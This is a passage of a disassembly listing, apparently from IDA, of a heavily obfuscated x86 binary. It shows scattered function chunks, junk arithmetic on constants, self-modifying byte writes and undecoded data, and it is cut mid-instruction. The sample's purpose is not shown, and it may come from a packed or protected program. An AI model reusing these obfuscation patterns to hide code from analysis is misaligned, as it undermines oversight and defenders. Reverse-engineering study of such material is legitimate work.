ecx pop ecx mov byte ptr [ecx], 87h xchg edi, [esp-4+arg_0] loc_474966: ; CODE XREF: isk1wxzg:004738BAj jmp loc_475015 sub_474957 endp ; sp-analysis failed ; --------------------------------------------------------------------------- align 4 locret_47496C: ; CODE XREF: isk1wxzg:loc_475A86j retn ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_4741CE loc_47496D: ; CODE XREF: sub_4741CE+7j mov ebp, ecx xchg ebp, [esp+8+var_8] mov ecx, offset loc_4759F0 jmp loc_47474A ; END OF FUNCTION CHUNK FOR sub_4741CE ; --------------------------------------------------------------------------- dd 0D52B0000h, 87241487h, 0D38B241Ch, 9D03C65Bh, 0FFF314E9h db 0FFh ; --------------------------------------------------------------------------- loc_474991: ; CODE XREF: isk1wxzg:00473E60j jge loc_475263 ; =============== S U B R O U T I N E ======================================= sub_474997 proc near ; CODE XREF: isk1wxzg:00473A59p ; FUNCTION CHUNK AT 00474288 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 004750F7 SIZE 00000011 BYTES xchg ecx, [esp+0] xchg eax, [esp+0] mov ecx, eax pop eax push ecx push 0D51122D8h pop ecx jmp loc_474288 sub_474997 endp ; sp-analysis failed ; --------------------------------------------------------------------------- dd 34870000h, 0A3E85E24h, 7, 0FFEF98E9h ; CODE XREF: isk1wxzg:00475E3Bj ; --------------------------------------------------------------------------- inc dword ptr [eax] ; START OF FUNCTION CHUNK FOR sub_474FD4 loc_4749BE: ; CODE XREF: sub_474FD4+8j jmp loc_47513E ; END OF FUNCTION CHUNK FOR sub_474FD4 ; --------------------------------------------------------------------------- align 4 dd 0FAFB850Fh, 1ACFFFFh, 3C2C1C2h ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_4757B6 loc_4749D0: ; CODE XREF: sub_4757B6:loc_4748C0j xor edx, eax jmp near ptr dword_473504+9 ; END OF FUNCTION CHUNK FOR sub_4757B6 ; --------------------------------------------------------------------------- align 4 ; =============== S U B R O U T I N E ======================================= sub_4749D8 proc near ; CODE XREF: isk1wxzg:00475546j ; isk1wxzg:00475D55p ; FUNCTION CHUNK AT 00474EA5 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 004755A3 SIZE 0000000D BYTES xchg edx, [esp+0] pop edx add eax, 0B996B71Eh mov eax, [eax] jmp loc_474EA5 sub_4749D8 endp ; sp-analysis failed ; --------------------------------------------------------------------------- align 2 ; =============== S U B R O U T I N E ======================================= sub_4749EA proc near ; DATA XREF: isk1wxzg:004757F2o ; FUNCTION CHUNK AT 00474AD7 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 00474B40 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 00474E24 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 00475B87 SIZE 0000000F BYTES ; FUNCTION CHUNK AT 00475D8F SIZE 0000000D BYTES push 58B70927h pop esi and esi, 0C04FD334h add esi, 81A39590h or esi, 65788DFDh xor esi, 0C1FD4EF8h add edi, esi pop esi jmp loc_474AD7 sub_4749EA endp ; sp-analysis failed ; --------------------------------------------------------------------------- dd 0C30000h, 0EAFE9h db 2 dup(0) ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_4744DB loc_474A1A: ; CODE XREF: sub_4744DB:loc_4754BAj mov ecx, edi cdq test esi, ecx jmp loc_47469F ; END OF FUNCTION CHUNK FOR sub_4744DB ; --------------------------------------------------------------------------- dd 0EA810000h, 9935F013h, 96E90A89h, 13h, 0C300h ; --------------------------------------------------------------------------- loc_474A38: ; CODE XREF: isk1wxzg:004735C6j pop ecx and ecx, 3FA490AFh or ecx, 0D6BF7C55h xor ecx, 55789A0Ch add ecx, ebp add ecx, 5C381981h loc_474A53: ; CODE XREF: isk1wxzg:004754A8j jmp loc_473D7C ; --------------------------------------------------------------------------- db 0 ; [00000001 BYTES: COLLAPSED FUNCTION nullsub_378. PRESS KEYPAD "+" TO EXPAND] align 4 loc_474A5C: ; CODE XREF: isk1wxzg:00474406j jmp locret_474038 ; --------------------------------------------------------------------------- align 2 word_474A62 dw 8B53h ; DATA XREF: sub_473E7B:loc_474A7Fo dd 241C87D8h, 0FFF850E8h, 26E900FFh db 0FAh, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_474A73: ; CODE XREF: isk1wxzg:00475B28j jmp locret_473A2B ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_47401B loc_474A78: ; CODE XREF: sub_47401B+9j jmp loc_475A9E ; END OF FUNCTION CHUNK FOR sub_47401B ; --------------------------------------------------------------------------- db 2 dup(0) ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_473E7B loc_474A7F: ; CODE XREF: sub_473E7B:loc_474846j push offset word_474A62 jmp loc_474F56 ; END OF FUNCTION CHUNK FOR sub_473E7B ; --------------------------------------------------------------------------- xor edx, 41B294FAh add edx, ebp add edx, 0D146F20Ah call sub_474370 loc_474A9C: ; CODE XREF: isk1wxzg:004754FAj mov ecx, ebp pop ebp xor ecx, 0CD16F69Eh add ecx, 25A490D8h and ecx, 0FBB632CBh push ebx mov ebx, 47478Bh jmp loc_474BDB ; --------------------------------------------------------------------------- dd 24348700h, 241C875Eh, 47523CBFh, 14D4E900h db 3 dup(0) byte_474ACF db 87h ; DATA XREF: sub_47580E-5AAo dd 33E82404h db 0FEh, 2 dup(0FFh) ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_4749EA loc_474AD7: ; CODE XREF: sub_4749EA+21j jmp loc_475B87 ; END OF FUNCTION CHUNK FOR sub_4749EA ; --------------------------------------------------------------------------- dd 0A32E900h db 2 dup(0) ; --------------------------------------------------------------------------- loc_474AE2: ; CODE XREF: isk1wxzg:004738A9j call sub_475B43 jmp locret_4744BA ; --------------------------------------------------------------------------- push eax push 8BCCB9F0h pop eax sub eax, 0EECA450h test eax, 20000h jmp loc_47584C ; --------------------------------------------------------------------------- db 0, 0C3h, 0 ; --------------------------------------------------------------------------- loc_474B07: ; CODE XREF: isk1wxzg:0047460Bj jmp near ptr word_47404A+1 ; --------------------------------------------------------------------------- loc_474B0C: ; CODE XREF: isk1wxzg:loc_47584Cj ; isk1wxzg:0047585Aj xor eax, 0F8156930h and eax, 0C5CBA377h xor eax, 3A718812h add eax, 41944FBEh xchg eax, [esp] jmp loc_474282 ; --------------------------------------------------------------------------- db 0 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_474DF6 loc_474B2D: ; CODE XREF: sub_474DF6:loc_475629j push offset byte_47421F jmp nullsub_391 ; END OF FUNCTION CHUNK FOR sub_474DF6 ; --------------------------------------------------------------------------- align 4 dd 0ED9BE800h, 0FFFFh ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_4749EA loc_474B40: ; CODE XREF: sub_4749EA+13ADj jmp nullsub_399 ; END OF FUNCTION CHUNK FOR sub_4749EA ; --------------------------------------------------------------------------- align 2 jmp loc_4757FC ; --------------------------------------------------------------------------- align 4 ; START OF FUNCTION CHUNK FOR sub_473CB1 loc_474B4C: ; CODE XREF: sub_473CB1:loc_475520j pop esi pushf push 596BF6DAh push ebx jmp loc_474BC5 ; END OF FUNCTION CHUNK FOR sub_473CB1 ; --------------------------------------------------------------------------- align 2 xchg edi, [esp] pop edi mov byte ptr [ecx], 87h pop ecx jmp loc_475F62 ; --------------------------------------------------------------------------- align 4 loc_474B68: ; CODE XREF: isk1wxzg:00474903j push offset byte_475D9D jmp near ptr dword_474828+0Fh ; --------------------------------------------------------------------------- add esi, 76494B8Fh popf call sub_476068 loc_474B7E: ; CODE XREF: isk1wxzg:004734C8j jmp locret_473BE8 ; --------------------------------------------------------------------------- locret_474B83: ; CODE XREF: isk1wxzg:loc_475DAEj retn ; --------------------------------------------------------------------------- dd 0E90000h db 0F3h, 2 dup(0FFh) ; --------------------------------------------------------------------------- locret_474B8B: ; CODE XREF: isk1wxzg:loc_4746F6j retn ; --------------------------------------------------------------------------- loc_474B8C: ; CODE XREF: isk1wxzg:00475085j jmp loc_473A5E ; --------------------------------------------------------------------------- db 2 dup(0), 8Bh dd 46896810h, 0C5E90047h, 7, 0E8F98B57h, 0FFFFEE9Fh db 0 ; --------------------------------------------------------------------------- loc_474BA9: ; CODE XREF: isk1wxzg:00474463j jmp loc_47437F ; =============== S U B R O U T I N E ======================================= sub_474BAE proc near ; CODE XREF: sub_473CB1+1047p ; FUNCTION CHUNK AT 0047383D SIZE 00000010 BYTES ; FUNCTION CHUNK AT 00473C48 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 00473D1E SIZE 00000014 BYTES ; FUNCTION CHUNK AT 00473EC1 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 00473EC8 SIZE 0000000A BYTES ; FUNCTION CHUNK AT 00474705 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 004751D3 SIZE 00000012 BYTES ; FUNCTION CHUNK AT 00475A43 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 00475CA2 SIZE 00000013 BYTES xchg ecx, [esp+0] pop ecx push edi push 4CC51232h pop edi or edi, 69BF6CB1h jmp loc_475A43 sub_474BAE endp ; sp-analysis failed ; --------------------------------------------------------------------------- retn ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_473CB1 loc_474BC5: ; CODE XREF: sub_473CB1+EA3j mov ebx, offset loc_474CF6 jmp loc_474783 ; END OF FUNCTION CHUNK FOR sub_473CB1 ; --------------------------------------------------------------------------- align 10h dd 5A8B02C6h, 0FFF116E8h db 0FFh, 2 dup(0) ; --------------------------------------------------------------------------- loc_474BDB: ; CODE XREF: isk1wxzg:00474AB7j mov byte ptr [ebx], 87h pop ebx call sub_47538D ; --------------------------------------------------------------------------- db 2 dup(0) ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_4744DB loc_474BE6: ; CODE XREF: sub_4744DB-A42j mov byte ptr [esi], 0C3h pop esi call sub_4760A2 push offset loc_475986 jmp loc_474D2B ; END OF FUNCTION CHUNK FOR sub_4744DB ; --------------------------------------------------------------------------- db 2 dup(0) ; --------------------------------------------------------------------------- loc_474BFB: ; CODE XREF: isk1wxzg:loc_4759FFj push offset byte_474365 jmp loc_473CAC ; --------------------------------------------------------------------------- align 2 cdq jnp loc_47606F add ebx, 0F4B5E19Fh loc_474C13: ; DATA XREF: isk1wxzg:00475340o pop ss sbb al, 24h jmp nullsub_384 ; --------------------------------------------------------------------------- align 4 loc_474C1C: ; CODE XREF: isk1wxzg:00473718j xchg esi, [esp] pop esi push eax push offset byte_475563 jmp locret_47555B ; --------------------------------------------------------------------------- align 4 loc_474C2C: ; DATA XREF: sub_475B75+6o xchg ecx, [esp] call ds:dword_44F0C0 ; ExitProcess push offset sub_4755D4 jmp loc_474D24 ; --------------------------------------------------------------------------- align 10h dd 241C8700h, 0FFFC1EE8h ; --------------------------------------------------------------------------- loc_474C48: ; DATA XREF: isk1wxzg:00473FD2o call dword ptr [edi+68h] shl byte ptr [ecx+ebx*8], 54h pop edi or edi, 0BEB48DFAh jmp loc_473DDC ; --------------------------------------------------------------------------- xor esi, 0D92CE261h jmp loc_474867 ; --------------------------------------------------------------------------- loc_474C66: ; CODE XREF: isk1wxzg:00475DC4j push 473D3Ch jmp locret_473D34 ; --------------------------------------------------------------------------- dd 240C8700h, 28CE959h, 0 ; --------------------------------------------------------------------------- loc_474C7C: ; CODE XREF: isk1wxzg:loc_47595Dj xchg ebx, [esp] mov ecx, ebx jmp loc_474578 ; --------------------------------------------------------------------------- adc edx, 0F75206FAh jmp sub_4757DA ; --------------------------------------------------------------------------- align 2 add ecx, 54C2964Ah mov ecx, [ecx] xchg ecx, [esp] push edx push 9A25C0FFh push eax mov eax, 47378Eh jmp loc_4734DA ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_47538D loc_474CAE: ; CODE XREF: sub_47538D:loc_475D0Cj call near ptr dword_474650+17h add [edi], cl mov bl, [edi+0Eh] ; END OF FUNCTION CHUNK FOR sub_47538D ; --------------------------------------------------------------------------- dd 64E90000h, 0F00000Bh, 150C8Fh, 0F840E900h, 0FFFFh, 0C5E9D133h dd 2, 0E9D51300h, 0FFFFFCD2h db 2 dup(0) ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_473CB1 loc_474CDE: ; CODE XREF: sub_473CB1:loc_475F6Aj add eax, 1C194056h xor eax, 0EF42E37Dh or eax, 0D2C9A8BAh add eax, 0EB3F12E4h loc_474CF6: ; DATA XREF: sub_473CB1:loc_474BC5o add eax, ebp call sub_474BAE jmp nullsub_290 ; END OF FUNCTION CHUNK FOR sub_473CB1 ; --------------------------------------------------------------------------- loc_474D02: ; CODE XREF: isk1wxzg:00473F7Fj jmp loc_473B94 ; --------------------------------------------------------------------------- align 4 locret_474D08: ; CODE XREF: isk1wxzg:00474031j retn ; --------------------------------------------------------------------------- db 2 dup(0) ; --------------------------------------------------------------------------- loc_474D0B: ; CODE XREF: isk1wxzg:004744B3j or edx, 5E5B92A1h call sub_4751B1 ; --------------------------------------------------------------------------- dw 0 dd 39E1058Dh, 0DCE80047h, 0FFFFEBh ; --------------------------------------------------------------------------- loc_474D24: ; CODE XREF: isk1wxzg:00474C3Aj jmp locret_4755CC ; --------------------------------------------------------------------------- db 2 dup(0) ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_4744DB loc_474D2B: ; CODE XREF: sub_4744DB+719j jmp nullsub_389 ; END OF FUNCTION CHUNK FOR sub_4744DB ; --------------------------------------------------------------------------- db 2 dup(0) ; [00000001 BYTES: COLLAPSED FUNCTION nullsub_393. PRESS KEYPAD "+" TO EXPAND] align 4 dd 93E95900h, 0FFFFE7h, 0E9E0D19Dh, 0FFFFE80Fh, 5FC70300h dd 487008Bh, 0EDC1E824h, 5B00FFFFh, 0BA6F081h, 8B561784h dd 243487F1h, 47388FB9h, 8DBE900h, 81000000h, 463FAEEBh dd 0F333E91Ch, 8700FFFFh, 0D98B240Ch, 66058D59h, 0C6004754h dd 7F68C300h, 0E900473Ch, 0FFFFEBC0h ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_47371D loc_474D90: ; CODE XREF: sub_47371D:loc_475609j mov ecx, edx pop edx sub ecx, 0E902A2B3h rol ecx, 1Dh add ecx, 0B93294F0h rol ecx, 19h add ecx, 0E8F59C14h add ecx, ebp jmp loc_473773 ; END OF FUNCTION CHUNK FOR sub_47371D ; --------------------------------------------------------------------------- align 4 dd 3E93058Dh, 56E80047h, 5, 0D8EAD381h, 0C7C1BABFh db 18h ; --------------------------------------------------------------------------- loc_474DC9: ; CODE XREF: isk1wxzg:loc_474DDEj call sub_475CB7 loc_474DCE: ; DATA XREF: isk1wxzg:0047402Co push esi mov esi, ecx xchg esi, [esp] call sub_4738E9 ; START OF FUNCTION CHUNK FOR sub_47420E loc_474DD9: ; CODE XREF: sub_47420E+Aj jmp loc_473BD1 ; END OF FUNCTION CHUNK FOR sub_47420E ; --------------------------------------------------------------------------- loc_474DDE: ; CODE XREF: isk1wxzg:loc_474045j jz loc_474DC9 add [edi], cl test al, bh clc ; --------------------------------------------------------------------------- db 2 dup(0FFh), 0E9h dd 0FFFFFFD0h, 0EDC0880Fh db 2 dup(0FFh) ; =============== S U B R O U T I N E ======================================= sub_474DF6 proc near ; CODE XREF: isk1wxzg:0047505Ep arg_0 = dword ptr 4 ; FUNCTION CHUNK AT 00473598 SIZE 00000021 BYTES ; FUNCTION CHUNK AT 00474B2D SIZE 0000000A BYTES ; FUNCTION CHUNK AT 00474E95 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 004752F0 SIZE 00000023 BYTES ; FUNCTION CHUNK AT 00475629 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 0047600C SIZE 00000012 BYTES xchg esi, [esp+0] pop esi xchg ecx, [esp+0] push edi pushf jmp loc_4752F0 sub_474DF6 endp ; sp-analysis failed ; --------------------------------------------------------------------------- push 6856F3D9h xchg edx, [esp] mov esi, edx pop edx add esi, 0BF121C8Fh rol esi, 19h and esi, 0ADA2474Dh js loc_4754AE ; START OF FUNCTION CHUNK FOR sub_4749EA loc_474E24: ; CODE XREF: sub_4749EA+11A7j jmp loc_475D8F ; END OF FUNCTION CHUNK FOR sub_4749EA ; --------------------------------------------------------------------------- db 81h, 0E9h, 0DAh dd 0FD77314h, 3A588h, 0ED4AE900h, 487FFFFh, 0C015FF24h dd 510044F0h, 0F7618B68h, 0E9815922h, 64C33EC5h, 0DD39C181h dd 0CF541CBh, 96EE924h, 68000000h, 0A993019Ah, 0C9C7815Fh dd 81F41AAFh, 5951F6CFh, 0F7816Eh, 32405DFh, 96FE8FDh dd 0 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_4755D4 loc_474E80: ; CODE XREF: sub_4755D4+2C1j jmp near ptr dword_474940+1 ; END OF FUNCTION CHUNK FOR sub_4755D4 ; --------------------------------------------------------------------------- locret_474E85: ; CODE XREF: isk1wxzg:004752AEj retn ; --------------------------------------------------------------------------- db 0 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_476068 loc_474E87: ; CODE XREF: sub_476068:loc_47606Fj jmp loc_475172 ; END OF FUNCTION CHUNK FOR sub_476068 ; --------------------------------------------------------------------------- db 2 dup(0) ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_4752B4 loc_474E8E: ; CODE XREF: sub_4752B4+DAEj jmp nullsub_397 ; END OF FUNCTION CHUNK FOR sub_4752B4 ; --------------------------------------------------------------------------- align 4 db 0 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_474DF6 loc_474E95: ; CODE XREF: sub_474DF6+518j jmp loc_473598 ; END OF FUNCTION CHUNK FOR sub_474DF6 ; --------------------------------------------------------------------------- align 4 push edi jmp sub_475633 ; --------------------------------------------------------------------------- db 0 ; --------------------------------------------------------------------------- locret_474EA3: ; CODE XREF: isk1wxzg:004734F0j retn ; --------------------------------------------------------------------------- db 0 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_4749D8 loc_474EA5: ; CODE XREF: sub_4749D8+Cj jmp loc_4755A3 ; END OF FUNCTION CHUNK FOR sub_4749D8 ; --------------------------------------------------------------------------- db 0 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_4738E9 loc_474EAB: ; CODE XREF: sub_4738E9+6E3j mov byte ptr [esi], 3 pop esi push 0CC01A1E7h pop ecx and ecx, 4BA42D53h jmp near ptr loc_475D76+1 ; END OF FUNCTION CHUNK FOR sub_4738E9 ; --------------------------------------------------------------------------- db 0 ; =============== S U B R O U T I N E ======================================= sub_474EC1 proc near ; CODE XREF: sub_4734B6+2A71p ; FUNCTION CHUNK AT 00473AEE SIZE 00000005 BYTES xchg edi, [esp+0] pop edi add eax, 5D80836h push offset byte_4737A5 jmp loc_473AEE sub_474EC1 endp ; --------------------------------------------------------------------------- db 2 dup(0) ; --------------------------------------------------------------------------- loc_474ED7: ; DATA XREF: isk1wxzg:loc_4750BAo push eax mov eax, offset loc_475CC2 jmp loc_4750D6 ; --------------------------------------------------------------------------- align 4 ; START OF FUNCTION CHUNK FOR sub_473D4D loc_474EE4: ; CODE XREF: sub_473D4D+Aj mov byte ptr [eax], 9Ch pop eax xor eax, 61EEEAC5h add eax, ebp push offset byte_4754E7 jmp nullsub_379 ; END OF FUNCTION CHUNK FOR sub_473D4D ; --------------------------------------------------------------------------- dw 8768h dd 0E900473Fh, 0FFFFEEB0h, 8C0F0000h, 0FFFFEA39h, 5A241487h dd 5F6FB951h, 8FE90047h, 0C6FFFFF6h, 815B8703h, 193534E3h dd 50316872h, 0C1E90047h, 0FFFFE5h, 0E9178900h, 279h, 0E9C30000h dd 0FFFFFEFAh db 0 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_474419 loc_474F41: ; CODE XREF: sub_474419:loc_474106j mov byte ptr [esi], 8Ah pop esi xchg ecx, [esp-4+arg_0] mov ebp, esp push eax jmp loc_474F6C ; END OF FUNCTION CHUNK FOR sub_474419 ; --------------------------------------------------------------------------- db 2 dup(0) ; [00000001 BYTES: COLLAPSED FUNCTION nullsub_395. PRESS KEYPAD "+" TO EXPAND] align 4 loc_474F54: ; DATA XREF: sub_473C4E+1FAo pop ebp retn ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_473E7B loc_474F56: ; CODE XREF: sub_473E7B+C09j jmp nullsub_378 ; END OF FUNCTION CHUNK FOR sub_473E7B ; --------------------------------------------------------------------------- align 4 dd offset sub_47627E dd 6CE90000h, 0FFFFF1h dword_474F68 dd 116h ; DATA XREF: isk1wxzg:loc_473F5Br ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_474419 loc_474F6C: ; CODE XREF: sub_474419+B32j jmp near ptr byte_4735B9+2 ; END OF FUNCTION CHUNK FOR sub_474419 ; --------------------------------------------------------------------------- db 0E9h, 2Dh, 0F0h dd 0FFFFh, 3B382DE6h, 12C7C100h, 0C4EDE781h, 0CF815510h dd 71F05B47h, 7DEEC781h, 61E98A56h, 0FFFFF4h, 5A241487h dd 8B243C87h, 49685FF7h, 87EA06ADh, 0C38B241Ch, 4DBE9h dd 0E9D81300h, 0FFFFF304h db 2 dup(0) ; --------------------------------------------------------------------------- loc_474FBA: ; CODE XREF: isk1wxzg:loc_475777j add ecx, 9B533EF3h xor ecx, 0A22D057Fh add ecx, ebp push esi jmp loc_475A2A ; --------------------------------------------------------------------------- jl loc_475B3D ; =============== S U B R O U T I N E ======================================= sub_474FD4 proc near ; CODE XREF: sub_474419-8C6p arg_0 = dword ptr 4 ; FUNCTION CHUNK AT 0047403A SIZE 00000005 BYTES ; FUNCTION CHUNK AT 004749BE SIZE 00000005 BYTES ; FUNCTION CHUNK AT 0047513E SIZE 0000000F BYTES xchg ecx, [esp+0] xchg ebp, [esp+0] mov ecx, ebp jmp loc_4749BE sub_474FD4 endp ; sp-analysis failed ; --------------------------------------------------------------------------- db 2 dup(0), 9Ch ; --------------------------------------------------------------------------- xchg edx, [esp] pop edx push ebx push 215147C0h jmp loc_475578 ; --------------------------------------------------------------------------- align 4 db 0 ; --------------------------------------------------------------------------- loc_474FF5: ; CODE XREF: isk1wxzg:loc_4743A9j mov byte ptr [edi], 87h pop edi add eax, 0F97DE94Dh add dword ptr [esp], 0FFFAE5E9h ; CODE XREF: isk1wxzg:0047500Aj inc dword ptr [eax] add al, ch jb short near ptr loc_474FFF+6 ; --------------------------------------------------------------------------- dd 0FFFFh, 64E9h db 0 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_474957 loc_475015: ; CODE XREF: sub_474957:loc_474966j mov ecx, edi pop edi push edx call sub_474419 ; END OF FUNCTION CHUNK FOR sub_474957 ; --------------------------------------------------------------------------- dw 0 ; --------------------------------------------------------------------------- jno loc_4758AE ; =============== S U B R O U T I N E ======================================= sub_475026 proc near ; CODE XREF: isk1wxzg:0047415Ep ; FUNCTION CHUNK AT 00473E8C SIZE 00000005 BYTES ; FUNCTION CHUNK AT 00473EAA SIZE 00000017 BYTES ; FUNCTION CHUNK AT 004752C8 SIZE 00000014 BYTES ; FUNCTION CHUNK AT 00475D71 SIZE 0000001B BYTES xchg esi, [esp+0] pop esi push eax jmp loc_473EAA sub_475026 endp ; sp-analysis failed ; --------------------------------------------------------------------------- locret_475030: ; CODE XREF: isk1wxzg:loc_4759ABj retn ; --------------------------------------------------------------------------- add ebx, 9FF6FBFFh jge short loc_475055 and al, 0FFh adc eax, offset dword_44F0C0 loc_475040: ; CODE XREF: isk1wxzg:loc_473EDFj push eax push offset byte_475D17 jmp locret_475D09 ; --------------------------------------------------------------------------- align 4 popf jmp sub_473D98 ; --------------------------------------------------------------------------- rol edx, 12h loc_475055: ; CODE XREF: isk1wxzg:00475037j jmp loc_475E2C ; --------------------------------------------------------------------------- align 4 loc_47505C: ; CODE XREF: isk1wxzg:004756BEj mov ecx, [ecx] call sub_474DF6 ; --------------------------------------------------------------------------- db 0 dd 0E9188B00h, 0FFFFEC83h, 0CF810000h, 55F29109h, 0FFE9CEE9h db 0FFh ; --------------------------------------------------------------------------- push ebp mov ebp, esp push ebx mov ebx, edx xchg ebx, [esp] push ebx mov ebx, edx jmp loc_474B8C ; --------------------------------------------------------------------------- word_47508A dw 0E800h ; CODE XREF: isk1wxzg:00473BBDj dd 0B60h, 19680000h, 0E9DE2E28h, 0FFFFED27h, 85C30000h dd 0F5D0E9C2h, 487FFFFh, 0E89D5824h, 0FFFFE5C1h, 0E9007587h dd 0FFFFFBB9h db 2 dup(0) ; --------------------------------------------------------------------------- loc_4750BA: ; CODE XREF: isk1wxzg:loc_473981j push offset loc_474ED7 jmp loc_475A86 ; --------------------------------------------------------------------------- dd 9B820F00h, 8D000006h, 473E9305h, 74DE800h db 2 dup(0) ; --------------------------------------------------------------------------- loc_4750D6: ; CODE XREF: isk1wxzg:00474EDDj push offset byte_47527F jmp locret_47421D ; --------------------------------------------------------------------------- push 473F46h jmp loc_473850 ; --------------------------------------------------------------------------- db 0 ; --------------------------------------------------------------------------- loc_4750EB: ; DATA XREF: isk1wxzg:00473E34o push 4746C7h jmp loc_474568 ; --------------------------------------------------------------------------- db 2 dup(0) ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_474997 loc_4750F7: ; CODE XREF: sub_474997:loc_474288j and ecx, 0A6E96226h xor ecx, 768FE050h call near ptr dword_473504+4Fh ; END OF FUNCTION CHUNK FOR sub_474997 ; --------------------------------------------------------------------------- db 0 ; [00000001 BYTES: COLLAPSED FUNCTION nullsub_386. PRESS KEYPAD "+" TO EXPAND] ; --------------------------------------------------------------------------- loc_47510A: ; CODE XREF: isk1wxzg:00475A3Cj jz loc_4756A9 jmp near ptr dword_473BF8+13h ; --------------------------------------------------------------------------- jmp loc_474163 ; --------------------------------------------------------------------------- dw 8B00h ; --------------------------------------------------------------------------- jnz short $+2 or esi, edi add edx, ebx jmp loc_475704 ; --------------------------------------------------------------------------- align 4 loc_475128: ; CODE XREF: isk1wxzg:004743B1j xchg ecx, [esp] pop ecx add edx, 2C3C85F8h mov edx, [edx] push 4737E5h jmp locret_4753AD ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_474FD4 loc_47513E: ; CODE XREF: sub_474FD4:loc_4749BEj pop ebp add edx, 46B1E74Ah xchg edx, [esp-4+arg_0] jmp loc_47403A ; END OF FUNCTION CHUNK FOR sub_474FD4 ; --------------------------------------------------------------------------- db 2 dup(0), 0Fh dd 61182h, 0FC5AE900h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_47515A: ; CODE XREF: isk1wxzg:004745BAj xchg edx, [esp] pop edx jmp loc_474646 ; --------------------------------------------------------------------------- retn ; --------------------------------------------------------------------------- dd 0F39DE900h, 0FFFFh, 7CCE9h db 2 dup(0) ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_476068 loc_475172: ; CODE XREF: sub_476068:loc_474E87j push offset sub_473CB1 jmp nullsub_291 ; END OF FUNCTION CHUNK FOR sub_476068 ; --------------------------------------------------------------------------- db 2 dup(0) ; --------------------------------------------------------------------------- locret_47517E: ; CODE XREF: isk1wxzg:004734EAj retn ; --------------------------------------------------------------------------- align 10h jmp loc_4751F7 ; --------------------------------------------------------------------------- db 0Fh, 8Dh, 0D5h dd 8BFFFFE7h, 0D6D8811Eh, 0E9859DA9h, 58Eh db 0 ; =============== S U B R O U T I N E ======================================= sub_475199 proc near ; CODE XREF: isk1wxzg:loc_4742D5p arg_4 = dword ptr 8 ; FUNCTION CHUNK AT 00474722 SIZE 00000005 BYTES xchg edi, [esp+0] pop edi add ebx, 0E08F6149h popf xchg ebx, [esp-8+arg_4] push offset loc_4748F0 jmp loc_474722 sub_475199 endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= sub_4751B1 proc near ; CODE XREF: isk1wxzg:00474D11p ; FUNCTION CHUNK AT 004745A3 SIZE 00000005 BYTES xchg ebx, [esp+0] pop ebx xor edx, 0AC1CC4E3h push offset byte_473CCD jmp loc_4745A3 sub_4751B1 endp ; --------------------------------------------------------------------------- align 2 adc ebp, 53547521h jmp sub_4738E9 ; --------------------------------------------------------------------------- db 2 dup(0) ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_474BAE loc_4751D3: ; CODE XREF: sub_474BAE:loc_473C48j jnz loc_47383D add [ecx+55986C8h], al mov word ptr [edi-19A91609h], es ; END OF FUNCTION CHUNK FOR sub_474BAE ; --------------------------------------------------------------------------- db 2 dup(0FFh), 0 ; --------------------------------------------------------------------------- locret_4751E8: ; CODE XREF: isk1wxzg:00474435j retn ; --------------------------------------------------------------------------- db 2 dup(0) byte_4751EB db 53h ; DATA XREF: isk1wxzg:00474430o dd 473829BBh, 0FE13E900h db 2 dup(0FFh), 0 ; --------------------------------------------------------------------------- loc_4751F7: ; CODE XREF: isk1wxzg:00475180j jnb loc_47596D add [edi], cl mov word ptr [ecx+0Bh], ss ; --------------------------------------------------------------------------- dw 0 ; --------------------------------------------------------------------------- cmp esi, 0E5647611h jmp loc_47595D ; --------------------------------------------------------------------------- adc esi, 7C432348h mov edi, [ecx] jmp loc_473BA8 ; --------------------------------------------------------------------------- dd 0D0870000h, 0A43E9h, 68000000h, 475FE4h, 2A8E9h db 2 dup(0) ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_475CB7 loc_475232: ; CODE XREF: sub_475CB7:loc_4748DBj call sub_47420E jmp nullsub_382 ; END OF FUNCTION CHUNK FOR sub_475CB7 ; --------------------------------------------------------------------------- scasb adc eax, offset 